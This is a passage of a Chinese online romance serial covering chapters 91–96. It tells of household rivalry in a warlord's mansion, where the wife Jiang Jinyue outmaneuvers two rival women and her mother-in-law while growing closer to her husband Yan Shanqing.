老夫人脸色这才缓和,拍了拍她的手:“好孩子,快起来。”
“母亲带着她回去吧。”晏山青闭目养神,声音里透着些疲惫。
宋知渝还想表现:“青哥,让我留下来照顾你……”
“不用。”他拒绝得干脆。
宋知渝只得悻悻起身,搀着老夫人离去。
帐帘落下,晏山青睁开眼,看向对面榻上的江浸月:“怎么肯留下她?”
江浸月正低头整理衣袖,闻言抬眼,烛光在她睫毛上投下细碎的影子:“母亲本来就不喜欢我,如果我再拦着她心爱的宋小姐回到身边,只怕要更恨我了。”
“婆媳不和,为难的也是督军您,我这可是为督军着想。”
晏山青笑一声,他撑着坐起身,军医刚换过的纱布下,肌肉线条随着动作微微绷紧,他望向她:
“夫人这么为督军考虑,督军自然也会好好护着夫人。”
帐内烛火噼啪作响,映得她耳垂泛起薄红,江浸月轻轻“嗯”了一声,那声音轻得像羽毛拂过心尖。
【老婆们都看90章啦,五星好评一下叭,我们大do军和夫人都长嘴,别扭一阵后还是会说开,多甜哇!!】
【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次~】
第91章 督军自己来找夫人了
江浸月先被送回督军府养伤,晏山青到西医院缝合伤口后,隔天也回了督军府。
只不过是一人在垆雪院,一人在山水居,因为行动都不方便,两人也就没见面。
三天过去,这日上午,小丫鬟辛儿一边给窗边的茉莉花浇水,一边气鼓鼓道:
“夫人,您都不知道那个宋小姐,没日没夜地往山水居跑,美其名曰照顾督军,其实心里打的什么主意,那是司马昭之心,路人皆知!”
江浸月倚在软榻上看书,包着纱布的左脚搁在软枕上,眼皮都没有抬起来:“那又如何?督军现在不方便,她就算想做什么也做不了。”
“可是昨儿晚上,她在山水居守了一夜,今早累晕了过去,老夫人心疼得跟什么似的,直接让人把她扶到山水居的厢房住下了!”
辛儿放下水壶,气得直跺脚,“这不就是近水楼台先得月嘛!督军现在是不方便,可她天天在督军眼前晃,俗话说见面三分情,万一督军心软了,伤好了不就宠幸她了嘛!”
江浸月终于从书页间抬起头,脸上带着淡淡的笑意:“你最近倒是看了不少书,说话都引经据典,一套一套的。”
辛儿委屈地瘪嘴:“夫人临走前吩咐我多看书,少出门,免得惹事上身,我有乖乖听话。”
江浸月喝了口茶:“宋小姐费尽心思回来,自然不会什么都不做。”
辛儿忧心忡忡:“夫人就不怕她把督军抢走吗?”
江浸月被她这副如临大敌的模样逗笑:“那你说怎么办?你去把督军请到咱们垆雪院来?”
“督军哪会听我的呀……”辛儿眼睛一亮,“但夫人您去就不一样了!您要是去了,什么宋小姐、陈小姐的,通通都得靠边站!”
说起陈小姐,江浸月问道:“陈佑宁最近有没有来督军府?”
辛儿摇头:“自从茶楼那件事后就没有了。过年时,也只有陈师座来给老夫人拜年,陈小姐应该是不敢来的吧?”
她当然不敢来。
江浸月嘴角一哂,宋知渝假孕、假摔陷害她,最后连老夫人都受牵连,她这个跟在宋知渝身边起哄的,可以说是既得罪了晏山青,也得罪了老夫人,当然怕被算账。
辛儿又道:“夫人和督军都去落霞山的时候,她从督军府门前经过一次,但没进来,是门房小厮私下跟我说的。”
“哦。”江浸月应得风轻云淡。
辛儿不解:“夫人问陈小姐做什么?当务之急是宋小姐啊!”
明婶端着熬好的中药进来,顺手将吵吵嚷嚷的辛儿打发去小厨房看着炖品,然后将药放在江浸月面前,低声道:
“这丫头虽然聒噪,但话糙理不糙,夫人那天实在不应该松口让宋小姐回来的。她毕竟是督军的青梅竹马,督军对她总还有几分情分,万一她趁机复起……”
江浸月失笑:“你们怎么都这般如临大敌?”
明婶叹气:“实在是被她算计怕了。”
江浸月端起药碗,吹了吹热气,然后一鼓作气一口闷了。
中药的酸涩苦味让她两条秀眉都皱在了一起,明婶连忙拿来蜜饯,喂她吃了一颗。
江浸月压下那股反胃的苦涩后,才说了四个字:“没事,不急。”
明婶相信自家姑娘有主意,便没再多说了。
江浸月撒娇地扯了扯明婶的衣袖:“明婶,我想吃您做的番茄炒蛋,要黏黏糊糊的那种,多加些白砂糖。这几日喝药,喝得我嘴里直发苦。”
明婶莞尔,点了点她小巧的鼻尖:“我这就去给夫人做。”
午餐时,江浸月便对着那盘红艳艳的番茄炒蛋大快朵颐。
她拿勺子舀了好几勺盖在白米饭上,一口下去,酸甜可口,舒服得眼睛都眯了起来,像晒着阳光惬意午睡的小猫咪。
明婶看得,又往她碗里夹了几块排骨:“喝中药最伤胃了,多吃点肉才扛得住。”
江浸月对她笑道:“您还记得吗?当年我在国外读书,国外那些饭菜都不合我胃口,我三天饿九顿,有一回饿到半夜睡不着,哭着打电话回家,让妈妈把您也送到国外给我做饭。”
明婶也记得这件事,笑了起来:“第二天,夫人便找到我,问我愿不愿意去国外,说您在电话里哭着说想我,当时可把我给心疼坏了,马上就回去收拾东西。”
“结果晚些时候,您又打电话来说,昨晚是情绪崩溃,胡言乱语的,让我不要来。”
“国外对您来说人生地不熟,语言也不通,您过来也是跟着受罪,我还是忍忍吧。”
明婶温柔地看着江浸月,她从小照顾三小姐长大,一直都知道,她就是这样一个真诚善良、总会为别人考虑的好姑娘。
两人说说笑笑,门忽然被推开。
江浸月下意识看去,差点噎到:“督军?督军怎么下床了?”
晏山青自己走了进来:“我又没断腿,怎么不能下床?”
他穿着舒适的家居服,头发没像平时那样往后梳,而是温顺地垂在额前,显得没那么强势,但脸色还是苍白的。
江浸月忙要起身扶他,却被他一个眼神制止:“坐着别动,你才是崴脚的那个。”
明婶赶紧上前搀扶他到餐桌旁坐下。
江浸月问:“督军吃过午饭了吗?”
“没。”
明婶又为他盛饭添筷。
晏山青看她碗里红彤彤的,问道:“吃的什么?”
江浸月说:“明婶做的番茄炒蛋。”
“怎么跟平时看的番茄炒蛋不太一样?”晏山青边说边学她,舀了一大勺盖浇在米饭上。
“明婶做的就是跟别人不一样,她用的是本地番茄,沙沙的口感特别好吃,督军试试。”
晏山青便试了一口。
江浸月期待地问:“怎么样?”
“甜不拉叽的。”他皱眉,却还是扒了一大口饭。
江浸月可不敢委屈督军:“那让厨房重新给您做别的?”
“麻烦,凑合吃吧。”
“哦。”
餐桌上多了个人,江浸月也就不好跟明婶说笑,两人安静地吃完了饭。
丫鬟撤下餐具时,江浸月随口问:“督军要回山水居了吗?”
晏山青抬眼看她,眼神微沉:“你很着急赶我走?”
“……”江浸月莫名感觉他心情好像不太好,但为什么不好,她一头雾水。
转头看到辛儿在晏山青背后冲她挤眉弄眼,张着口型说着“留下、留下”。
江浸月福至心灵,明白了什么,连忙改口:“不是,我是说督军身上有伤,不宜走来走去,要不就在垆雪院休息吧。”
晏山青这才几不可见地勾了勾唇角,“嗯”了一声,同意了。
第92章 伤好再做,也不迟
江浸月摸了摸鼻子,吩咐辛儿:“去山水居把督军的药取过来,饭后该吃药了。”
辛儿欢天喜地地应了一声,一溜烟跑了。
到了山水居,辛儿正好撞见宋知渝在向副官打听晏山青的去向。
辛儿昂首挺胸,故意提高声音对管家说:“督军要在垆雪院休息,夫人吩咐我来取药。”
管家不敢怠慢,连忙去将晏山青的外用药和口服药都拿来交给她。
那边的宋知渝听到这话,手指一下捏紧!
辛儿瞥见她难看的脸色,得意至极,抱着药往回走,心里美滋滋的——看你还怎么装模作样献殷勤!
辛儿带着药回来时,见晏山青正靠坐在床头批阅公文,江浸月则倚靠在窗边的软榻上看书,午后的阳光将整间房照得温暖明亮,静谧又美好。
这才叫夫妻!
小丫鬟忍不住偷笑,轻手轻脚地将药放在茶几上,然后退下。
晏山青晚饭也是在垆雪院吃的。
只是吃完没多久,院门外就传来宋知渝柔婉的声音:“青哥,您歇下了吗?您该换药了,我进来帮您换药吧?”
辛儿拦着她,不让她进去:“宋小姐,您这是做什么?督军在夫人这里,该吃药还是该换药,自然有夫人服侍,不用您操心!”
宋知渝充耳不闻,继续提高声音喊:“青哥,青哥!”
晏山青皱眉,觉得吵:“让她进来。”
明婶退出去说了两句话,宋知渝便端着药盘走了进来。
她先是对江浸月规规矩矩地行了个礼,喊了一声“夫人”,然后转向晏山青:
“青哥,医生说您的伤每天晚上都要换药……当然了,您在夫人这里,夫人也能帮您换,只是夫人身上还有伤,而且前几天都是我帮您换的,还是我更熟练一些,所以还是让我来吧。”
辛儿在门外听着这些话,气得跺脚,觉得她就是来示威的!炫耀自己这几天贴身照顾督军!
江浸月只是淡淡勾了勾唇:“宋小姐对督军倒是上心。”
宋知渝柔柔地说:“知渝是犯过大错的人,承蒙督军开恩让知渝重新回来,知渝不敢不尽心。”
晏山青却很疏离:“不必,放着就行。”
宋知渝笑容一僵,随即又道:“督军,这换药的手法也是有讲究的,若是处理不当,反而对伤口愈合不利。我在静心庵时跟着师太学过一些护理,您……”
晏山青只觉得她话怎么那么多,直接一句:“夫人留洋时学的是医,比普通的大夫都要专业,用不着你。”
宋知渝被噎得脸色发白,却仍不死心:“可是青哥,前几天都是我……”
“前几天是副官换药,”晏山青打断她,语气冷淡,“你只是在旁边递个纱布和剪刀。”
“噗!”门口的辛儿没忍住笑出了声。
宋知渝脸上顿时青白交错,难堪至极。
“还不走?”晏山青眉宇间已经有些不耐烦。
宋知渝咬了咬唇,终究是不敢再纠缠,低着头快步退了出去。
看着她狼狈的背影,江浸月眼底也掠过一丝浅淡的笑意。
“笑够了?”晏山青的目光扫过来,“笑够了就过来换药。”
江浸月挑眉:“督军怎么不让副官来换?”
“夫人别得了便宜还卖乖。”
江浸月眼底笑意更深,一边吩咐辛儿去准备热水和干净的衣物,一边朝他走去:“我服侍督军,怎么倒成了我占便宜?明明是督军该给我奖励才对。”
晏山青眸色深了深:“那就看看你这个留洋学医的,是不是真材实料。做得好,督军自然会有赏。”
帷幔被放下,隔出一方私密的空间。
晏山青坐在床沿,背对着她,脱下衬衫。
精壮的上身暴露在空气中,宽阔的肩背线条流畅,肌理分明,那几道狰狞的爪痕横亘其上,破坏了整体的美感,却平添了几分野性的张力。
江浸月洗干净手,拿起药膏。
她的指尖微凉,碰触到他温热的皮肤时,两人都不约而同地顿了一下。
江浸月屏气凝神,专注于伤口——擦拭、上药、包扎,一气呵成,指尖不小心划到他完好的肌肤,晏山青的肌肉瞬间紧绷起来……
江浸月的耳根悄悄漫上热意,但强作镇定,假装无事发生……只是晏山青的体温好像越来越高,呼吸也越来越重了。
无形的暧昧在流淌,撩得人心跳加速。
就在江浸月打好最后一个结,准备退开时,手腕就被一股大力猛地攥住!
她惊了一下,眼前一阵天旋地转,下一秒,她就被晏山青压在柔软的床铺上——
他居高临下地看着她,眸色幽深如夜,里面翻滚着毫不掩饰的欲望和侵略性。
晏山青高大的身躯完全笼罩住她,强烈的男性气息将她紧紧包裹,江浸月的心跳失速,没等她反应过来,他的唇便重重压了下来。
江浸月只觉得他这个吻充满了侵占欲,霸道而急切,吮得她舌根发麻,氧气殆尽,大脑一片空白,只能被动地承受着他汹涌的情潮。
他的手紧紧箍着她的腰,两人身体严丝合缝地贴在一起,隔着薄薄的衣料,能感受到彼此剧烈的心跳和升高的体温。
就在江浸月意乱情迷,以为今晚一定会发生些什么的时候,晏山青却突然松开了她。
“……”
晏山青气息不稳地撑起身,随手将一块柔软的布料塞进她手里。
江浸月被亲得浑身发软,眼神迷蒙,茫然地低头去看手里的东西,居然是……是在山里时,她给他额头降温的那个肚兜!
她的脸颊“轰”的一下烧了起来!
“我、我以为督军早就把它扔了……”
晏山青低缓地说:“这种东西,怎么能随便乱扔。”他顿了顿,“洗干净了,还你。”
“谁洗的?”江浸月下意识问出口,问完就后悔了。
晏山青看着她,眼神意味不明:“你觉得会是谁洗的?”
……当然只可能是他洗的。
这个认知让江浸月尴尬得脚趾蜷缩。
“但也不能穿了吧,”他语气恢复了几分平时的淡然,“我回头赔你。”
江浸月满脑子都是那肚兜被他亲手搓洗的画面,听到这句要“赔”,自然就以为他赔的是肚兜,下意识接口:“不用不用,我有很多……”
晏山青低笑一声:“你都不知道我要赔你什么,怎么就知道你有很多?”
江浸月一愣,这才反应过来自己可能想岔了,顿时语塞,脸颊红得几乎要滴出血来。
看她这副窘迫的模样,晏山青心情颇好地又笑了一声:“行了,睡了吧。”
“哦……哦。”
江浸月讷讷地应着,跪坐起来,有些手忙脚乱地整理床铺,只是心里忍不住去想,他们刚才都那样了……他也那样了……为什么戛然而止?
才这样想着,身后就传来男人低沉的嗓音:“你身上有伤,我身上也有伤。伤好了再做也不迟。”
“——!”
江浸月膝盖的位置突然窜起一阵酥麻,冲遍全身,让她腿软得几乎跪不住,心跳如擂。
他一句话,竟然比刚才那个激烈的吻,更让她面红耳赤,心神摇曳。
第93章 让她们狗咬狗!
从这一天开始,晏山青就直接住在垆雪院养伤了。
江浸月也琢磨过味儿来了。
他那天自己撑着病体,从山水居到垆雪院吃午饭,她问他是不是要走了的时候他为什么脸黑……应该就是因为,他想留下,但她没留他。
那几天她在自己院子里养伤没去看他,他只好自己来看她,他是……想她了。
江浸月轻轻莞尔,只能是多陪陪督军,第一日下象棋、第二日下围棋、第三日下跳棋,第四日下……总而言之都是棋。
晏山青皱眉:“你是有多喜欢下棋?”
江浸月支着下巴,目光从国际象棋的棋盘移到晏山青的脸上,嘴角带笑道:“没办法,我和督军现在都是半残废,合适半残废的娱乐活动不多,我们总不能一人一把乐器吹拉弹唱吧。而且……”
“而且什么?”晏山青看她。
江浸月笑意更深:“而且,督军不擅长下棋,我每次都能赢,我玩得很开心。”
晏山青:“……”
下棋属于知识分子或者高雅人士的活动,而晏山青前面十几年都是面朝黄土背朝天的民夫,哪有机会接触?
后来则是真刀实枪地打天下,一天天的,公务都处理不完,哪有闲心整这些花里胡哨的东西,这段时间是因为受伤被迫停下来。
江浸月移动棋子,继续慢悠悠说:“或者,督军更喜欢‘看戏’?”
说着她的目光朝门外瞥了一下,下一秒,门外就响起婉转的女声。
“督军,督军,我炖了鸽子汤,您要用一些吗?”是宋知渝。
宋知渝每天都来,只是晏山青不愿意见她。
江浸月弯唇:“督军要下棋还是要看戏?”
“……”晏山青直接将棋盘连同棋桌一起推开,将那个戏弄了自己好几天的女人从软榻的另一边拽到自己腿上。
宋知渝又是见不到晏山青,哭哭啼啼地离开,此事不可避免地传到了老夫人的耳朵里。
于是,等到江浸月的脚伤好转,能下地行走,老夫人便将她唤去了寿松堂。
“浸月,你是督军正妻,当有容人之量。”老夫人端着茶盏,语气不疾不徐,“山青身为东湖、南川两大重省的督军,身边不可能只有你一个女人。”
“知渝与他自幼一同长大,情分非同一般,如今又真心悔过,你莫要善妒,落人口舌。”
江浸月姿态恭顺:“母亲教训的是,是儿媳考虑不周。儿媳今日便安排宋小姐到垆雪院伺候督军。”
老夫人见她如此“识大体”,脸色这才缓和,满意地点了点头。
从寿松堂出来,辛儿气得直跺脚:“夫人!您怎么还真答应了啊!”
江浸月神色淡然,唇角甚至带着一丝若有若无的笑意:“急什么。去,按母亲说的,安排宋小姐到垆雪院‘伺候’。再派个人……”
她顿了顿,眼底掠过一丝狡黠,“再去陈佑宁那儿递句话。”
辛儿:“递什么话?”
“实话实说,”江浸月微笑,“宋知渝不仅回了督军府,如今还在督军身边,贴身伺候。”
心儿不明白夫人的用意,但她对江浸月的话向来言听计从,立刻就去办了。
消息传到陈佑宁那儿时,她正百无聊赖地在院子里练射击。
一听说宋知渝不仅回了督军府,还被安排到晏山青身边贴身伺候,她气得朝着十米外的靶子连开了三四枪,胸口剧烈起伏,一股邪火直冲头顶!
凭什么?!
她只是被宋知渝蒙蔽的从犯,都因为茶楼那件事,连表哥的督军府都不敢进去,生怕被追究过错。
而宋知渝这个始作俑者、罪魁祸首,凭什么装模作样地在山上清修了一个月后,就又跟没事人似的回到督军府,回到表哥身边?
表哥以前最疼她这个表妹,得了什么新鲜玩意儿都会给她,可就因为宋知渝,她一再失去他的欢心,到现在都不理她了。
陈佑宁越想越气,丢下手枪,立刻冲着外面喊:“给我备车!我要去督军府!”
到了督军府,她也不用人通报,直接闯了进去,路上遇到管家,她劈头盖脸就问:“宋知渝那个贱人现在在哪里?”
管家下意识回答:“表小姐,宋小姐现在在垆雪院照顾督军……”
陈佑宁冷笑一声,只觉得宋知渝真是好手段!居然还登堂入室到垆雪院去了,连江浸月这个正牌夫人都要受她这等委屈!
她脚下生风,直接赶到垆雪院的正房,果然就看见屋里宋知渝正端着一碗药,盈盈地走到晏山青面前,不知道说了什么,表情十分娇羞,而晏山青竟然也接过药碗喝了。
一旁的老夫人一脸满意,不知道的,还以为这是婆婆、儿子、儿媳一家人和和满满的画面呢!
陈佑宁火冒三丈,猛地冲了进去:“宋知渝!你这个贱人!”
她二话不说,抬手就是一巴掌,狠狠扇到宋知渝的脸上!
啪的一声,清脆的巴掌声响彻房间!
宋知渝猝不及防,整个人被打得跌坐在地上,捂着脸,不可置信地看着陈佑宁:“……”
“佑宁!你干什么?!”老夫人放下茶盏,厉声呵斥。
晏山青也皱了眉:“你疯了?”
“我干什么?”陈佑宁指着地上的宋知渝,“姨母、表哥,你们还问我要干什么?这个女人心思歹毒,假孕争宠,害得府里鸡犬不宁,她怎么还能待在督军府、待在表哥身边!”
老夫人沉着脸:“知渝救了山青,将功折罪,自然能回来。”
“救了表哥?”陈佑宁像听到了笑话,嗤笑一声,“那我劝姨母和表哥还是好好查查吧,没准这所谓的危险,就是这个女人自导自演的一出戏!为的就是演一出救命恩人的戏码,好顺理成章地滚回督军府!”
此言一出,晏山青的眉梢也挑了一挑。
宋知渝泪珠滚滚而下,一副受尽委屈的模样:“佑宁,我们不是最好的朋友吗?你为什么这么说我?是不是有人跟你说什么了?”
“我呸!谁跟你这个下贱胚子是朋友?!”陈佑宁啐了一口,积压许久的怨气彻底爆发,“我以前是瞎了眼,把你当成朋友,结果你呢?”
“第一次撺掇我偷江浸月的家书,拿到姨母面前告状,害得我被表哥狠狠责骂;第二次你假装怀孕,骗我替你出头去跟江浸月叫板!我就是把你当成朋友才信你、帮你,结果呢?你从头到尾都是在演戏,都是在利用我!”
她越说越激动,将往日那些被利用、被当枪使的怒火全都发泄了出来。
而外面走廊下,江浸月伫立着,将屋内这场闹剧尽收眼底。
她嘴角轻轻勾了勾,弧度很淡。
身后的辛儿捂着嘴,差点笑出声:“太痛快了,夫人!您太厉害了,不用出面就能收拾了她们,就要这样!让她们狗咬狗!”
第94章 下次直接推给我处理
江浸月目光清凌凌的,淡淡道:“我一向是人不犯我,我不犯人;人若犯我,我自然是有仇必报。”
宋知渝救了她,姑且就抵了她的“过”吧,但陈佑宁呢?
她跟着宋知渝上蹿下跳,对她出言侮辱,可还没受到教训。
既然她当初是被人利用着来害她的,那现在她也利用她一回,一报还一报,很公平。
辛儿不懂这些弯弯绕绕,反正她就是看不过眼宋知渝和陈佑宁!
夫人明明是明媒正娶的督军夫人,她们却在背后嚼舌根,说她什么二嫁破鞋,现在都是新时代,试问她们又是什么东西?
一个个没名没分,却一个劲儿地倒贴督军,她们才是不要脸的货色呢!
屋内的吵闹还在继续。
老夫人厉声打断:“够了!佑宁!你看你现在像什么样子?这么大个人了,还这般任性妄为口无遮拦!真该早点让你爹给你找个厉害的婆家,好好管管你!”
陈佑宁被老夫人这么一骂,委屈得眼圈都红了:“姨母!您以前是最疼我的,现在为了这个女人,您就这么骂我,她就这么重要吗?!”
陈佑宁骨子里还是小孩子心性,非要当所有人心中的第一。
晏山青对江浸月好,她就要针对江浸月;老夫人对宋知渝好,她也不会放过宋知渝。
她恨恨地瞪着地上装得楚楚可怜的宋知渝,新仇旧恨涌上心头,大小姐脾气发作起来不管不顾,张口就要报出她那个不为人知的秘密:
“宋知渝,你别在这里装模作样!你根本就不是什么好东西!你当初……”
“佑宁!”宋知渝疾声打断,脸色骤然惨白,下一秒就掩面哭泣起来,“好,好,既然大家都容不下我,觉得我是个祸害,那我走,我走便是了!”
她像是承受不住打击那般,踉踉跄跄地爬起来,梨花带雨地看了晏山青和老夫人一眼,然后转身捂着脸,飞快跑出垆雪院。
廊下的江浸月却微微眯起了眼,目送宋知渝仓皇离开的背影,心里琢磨着陈佑宁那句没说完的话。
“她当初”什么?
陈佑宁被宋知渝这一出“以退为进”弄得怔住,还没反应过来,老夫人已经沉着脸呵斥:
“你看看你!成何体统!跑来你表哥这里撒野,还敢动手打人!知渝好歹是姐姐,又是你表哥的救命恩人,你这般作为,传出去让别人怎么看你们陈家的家教?”
陈佑宁原本就觉得委屈,被老夫人这么一训,眼圈一下红了起来,带着哭腔道:“姨母!您就只会怪我!明明是那个宋知渝……”
“够了。”一直冷眼旁观的晏山青终于开口,声音不高不低,但立刻就让所有人都噤声。
“母亲,您和佑宁回去吧。”他下了逐客令,语气冷淡。
老夫人见他脸色确实不好看了,不敢再说什么,瞪了还想争辩的陈佑宁一眼:“还不走?非要等你表哥动怒不成?”
“……”陈佑宁咬了咬唇,终究不敢再闹,狠狠一跺脚,跟着老夫人蔫头耷脑地走了。
廊下看够了戏的江浸月,转身准备离开,结果——
“敢走试试。”
男人凉飕飕的声音传过来。
江浸月脚步一顿,回过头。
晏山青不知何时发现了她,站在正房门口,午后的阳光勾勒出他高大强壮的身形,他目光深邃,一瞬不瞬地落在她身上。
那眼神……像山林里虎视眈眈的百兽之王,在盯着相中已久的猎物。
江浸月心头一跳,面上不动声色,对身旁的辛儿道:“你先下去吧。”
辛儿忙不迭地退下了。
江浸月缓步走了过去,在离晏山青还有两三步远的地方停住,温声唤道:“督军怎么出来了?当心着凉。”
晏山青没接这话,只是看着她,他的五官很深刻,眉压眼的长相天生给人一种强悍感,江浸月都被他看得眼睫闪烁。
他突然说:“不想让宋知渝到垆雪院,直接说不就行?你是督军夫人,你说什么是什么,用不着一边在母亲面前点头应下,一边转头把陈佑宁招过来搅局。”
果然被他看穿了……江浸月心下暗叹,这男人真的是敏锐过人。
她也没有狡辩,坦然承认:“是,是我让人给陈小姐递了话。”
“让宋知渝来垆雪院伺候是母亲的意思,我若是当面驳了,母亲怕是又要说我善妒不能容人,我只能借力打力了。”
她抬眸看他,眼神清亮,带着点“我也是被逼无奈”的无辜。
晏山青看着她这副模样,眼底掠过一丝极淡的笑意,快得让人捕捉不到。
他朝她走近一步,拉近了本就很近的距离:“我刚才已经跟母亲说了,以后宋知渝不会再来垆雪院,让她也别再插手我们房里的事。”
“下次再有类似的事情,不用拐弯抹角,直接推给我就行。”
江浸月心头一动,没想到他会说这种话,顿了顿,然后从善如流地应下来:“是,我知道了,多谢督军。”
晏山青随意地点头,然后转身进屋。
江浸月还站在门前,没了男人身上散发来的压迫感,她缓缓地呼出一口气,脑袋也清醒了很多,想的是——
一次两次还可以,如果真的什么事推给他处理,时间久了,他也会觉得厌烦疲倦,连带着对她也不满。
哪怕是寻常夫妻间,家里那些家务事,也是要一起承担一起分担,彼此心理才平衡,日子才过得下去。如果都推给一个人做,而另一个人享清福,日子久了,也会生怨怼。
何况是他们这样的人家,这样的夫妻关系。
该她自己处理的事情,她还是要自己处理。
这世上,自己最可靠。
……
宋知渝出了垆雪院后,就跑回自己的琼华苑。
门一关,她脸上那些楚楚可怜的神色就收了起来,转而变成了一种惊慌和惊恐。
如果不是她打断得快,陈佑宁就要把她“那件事”说出来了。
如果她真说出来,那别说晏山青容不下她,老夫人也会彻底对她失望透顶,不再理会她!
那她就完了……
不行!
她不能让这样的事情发生!
陈佑宁……宋知渝眼底掠过一丝狠辣,人不为己天诛地灭,她别怪她!
第95章 他就这么宠她,不舍得她
寿松堂。
宋知渝一早就过来给老夫人请安。
老夫人正准备用早饭,见她来了,连忙让人添副碗筷,朝她招手,让她坐在自己身边,语气里满是疼惜:
“昨天委屈你了。佑宁那丫头,就是被我跟她爹娘惯坏了,越来越任性骄纵,竟然敢动手打人。好孩子,你千万别往心里去啊。”
宋知渝乖顺地坐下,声音轻轻柔柔的:“老夫人言重了,佑宁妹妹还小,性子直爽,想来只是一时冲动,我怎么会怪她呢……只是担心她这脾气,将来议亲,怕是会吃亏啊。”
“你说的也是我担心的。”老夫人叹气,“我下次见到她爹娘,要好好跟他们说说这件事,一定要给她找一个能管住她的婆家。”
宋知渝不动声色道:“这个婆家,最好还是不要跟夫人的江家有关系的比较好,不然夫人就更有底气跟老夫人您叫板,和争夺管家之权了……”
虽然话题转得十分生硬,但这话还真给老夫人提了个醒,她立即正色起来:
“你说得对。我妹妹就佑宁一个女儿,佑宁嫁给谁,陈家自然会跟谁亲近。”
“陈家是山青最得力的臂膀,不能让他们倾向江家,否则督军府后院就真是她江浸月的天下了……佑宁的婆家人选,我要好好考虑才是。”
老夫人露出思量的神情。
宋知渝适时道:“如果老夫人想为佑宁妹妹挑一个跟江家不对付的人家,我这里倒是有一个合适的人选。”
老夫人立刻问:“是哪家的?”
“金隆银行,白家。”
老夫人不了解:“白家?”
宋知渝介绍:“这个金隆银行,起源于东湖,跟青哥是老朋友,还曾秘密资助过青哥军费,青哥能打下这南川,也有白家的一份功劳,所以青哥现在也十分器重白家,白家的忠诚毋庸置疑。”
“更巧的是,白家与江家夙怨已久,两家可以说是水火不相容。当初江家的姻亲桥头杨家出了码头爆炸那件事,白家就顺势打压过江家,逼得江家不得不退让。所以说,白家跟江家,是绝对不可能搅和到一起的。”
“如果白家能为老夫人所用,那想必夫人以后也不敢再那么放肆了。”
宋知渝从多方面推荐白家,既忠诚又跟江家不对付,可不就是恨好的人选。
果然,老夫人一听就觉得这个白家真是非常合适:“我要见见白家人,如果他们也愿意结这门亲,那自然是好。”
宋知渝嘴角弯了起来,而后又装模作样地劝和道:“老夫人,您也不要太跟夫人较劲,青哥现在这么宠着夫人,您总是挑夫人的错,青哥怕是会不高兴,影响了母子感情,不值得呀。”
一说到晏山青处处偏袒江浸月,连她这个母亲都不放在眼里,老夫人的脸色立刻就沉了下来:
“我怎么能不跟她计较?她嫁进晏家也有些时日了,肚子一点动静都没有,成天霸占着山青,却连个蛋都下不出来!这样一个既不听话、又不会生的女人,我看到她就来气!”
宋知渝为她盛汤,语气越发温婉体贴:“夫人可能是觉得自己年纪还轻,不着急吧。她当初嫁进沈家三年不也没有怀孩子吗?”
“对啊,她嫁给沈霁禾三年也没有怀孕。”老夫人顿时狐疑起来,“她该不会是身子有什么问题,根本就不能生吧?”
宋知渝立刻流露出担忧:“不会吧?夫人要是不能生,岂不是耽误了青哥的子嗣,耽误了晏家的香火?青哥这等身份,总不能后继无人吧?”
老夫人重重放下汤匙,显然被这话戳中了心窝子:“当然不能!她要是真不能生,我就是拼着跟山青翻脸,也要让他跟这个贱人离婚!”
就在这时,丫鬟进来禀报:“老夫人,夫人来给您请安了。”
宋知渝立刻起身,殷切道:“快请夫人进来,外面天凉呢。”
老夫人却是连眼皮都没抬起来,慢悠悠地喝了一勺汤:“急什么?我还在用早饭,早饭不能打扰,这是规矩。让她先在门外候着吧。”
这是要让江浸月站规矩了!
宋知渝压下嘴角,换上一副担忧的表情:“老夫人,还是先让夫人进来吧,虽然开春了,但廊下风大,站久了怕是会着凉。”
老夫人冷哼一声:“知道她是娇滴滴的千金大小姐出身,跟我们这些粗人不一样,但她也不是纸糊的,站一会儿就能坏。再说了,她又没怀着身孕,娇贵什么?”
宋知渝心下暗喜,不再劝了:“老夫人,您消消气,这道蟹粉小笼包是厨房新研究出的花样,您尝尝。”
两人就这么优哉游哉地用起了饭,甚至还故意大声说笑,点评着菜色,明显是在拖延时间,存心要让门外的江浸月难堪!
四周伺候的丫鬟和嬷嬷对视一眼,都觉得今天是要上演婆媳大战,也不知道夫人能接住几招?
一顿早饭,硬是被细嚼慢咽地吃了将近两个小时,直到老夫人自己也觉得差不多了,才气定神闲地放下筷子,用帕子擦了擦嘴角,对丫鬟道:
“去请夫人进来吧。”
宋知渝也调整了一下坐姿,端起茶杯,准备好好欣赏江浸月被晾了这么久的狼狈!
然而,那丫鬟却低着头,战战兢兢道:“老夫人,夫人……一个多小时前就走了。”
“走了?!”
老夫人猛地一愣,随即勃然大怒!
“她竟然敢走?!反了她了!我还没见过哪家的儿媳妇,婆婆让她站规矩,她敢直接甩脸子走人的!”
宋知渝也是错愕不已。
但惊讶过后,心底又是一阵狂喜——江浸月简直是自寻死路!这下可是把老夫人得罪死了!她大可以坐收渔翁之利!
她正想再添把火,让老夫人更加厌恶江浸月,就听那丫鬟怯生生地补充道:“是、是督军的副官亲自来请走的,说督军有急事找夫人,找得很急,夫人这才匆匆离去的……”
宋知渝脸上那点还没来得及绽放的喜色,瞬间僵住,变得无比难看。
老夫人也是一噎,火气堵在胸口,发不出来:“……”
宋知渝不甘心:“那也应该说一声再走啊!”
丫鬟小声:“夫人临走时交代了,说‘早饭不能打扰’,她不敢打扰老夫人用饭,所以才没进来禀报。”
“早饭不能打扰”,这六个字,正是刚才老夫人用来刁难江浸月的原话,此刻却如回旋镖一般,精准地打了回来,结结实实地让老夫人和宋知渝吃了一个哑巴亏!
老夫人气得胸口起伏,脸色铁青,却一句话也说不出来。
宋知渝更是将手帕绞成了一团!方才那点看戏和得意的心情荡然无存,只剩下一股压不住的嫉恨!
晏山青真的就这么宠爱她,半点委屈都舍不得她受吗?!
第96章 晏山青要造反了?!
江浸月跟着副官出了督军府。
她知道老夫人是故意刁难,要折腾她,所以就算晏山青没让人叫走她,她也会自己想办法脱身。
她“温顺”“听话”,不代表会任人随意欺凌。
至于脱身的办法……大不了就装晕^^。
老夫人总不可能当众泼她一盆冷水逼她醒过来,那传出去就是“恶婆婆虐待新儿媳”,对她老人家的名声也不好呀。
何况现在尽人皆知晏山青宠爱她,即便是老夫人也不敢明着跟晏山青打擂台。
可没想到,晏山青居然这么及时雨,让副官来叫走她,让她走得更光明正大。
江浸月问:“督军在哪里等我呢?”
又心忖,他伤彻底好了?能出门呢?好像是,昨晚就说不用上药了。
副官笑了笑,侧身让出前方的路。
江浸月下意识抬起头,就见督军府门前停着一辆黑色汽车,晏山青一身军装,正随意地倚着车头。
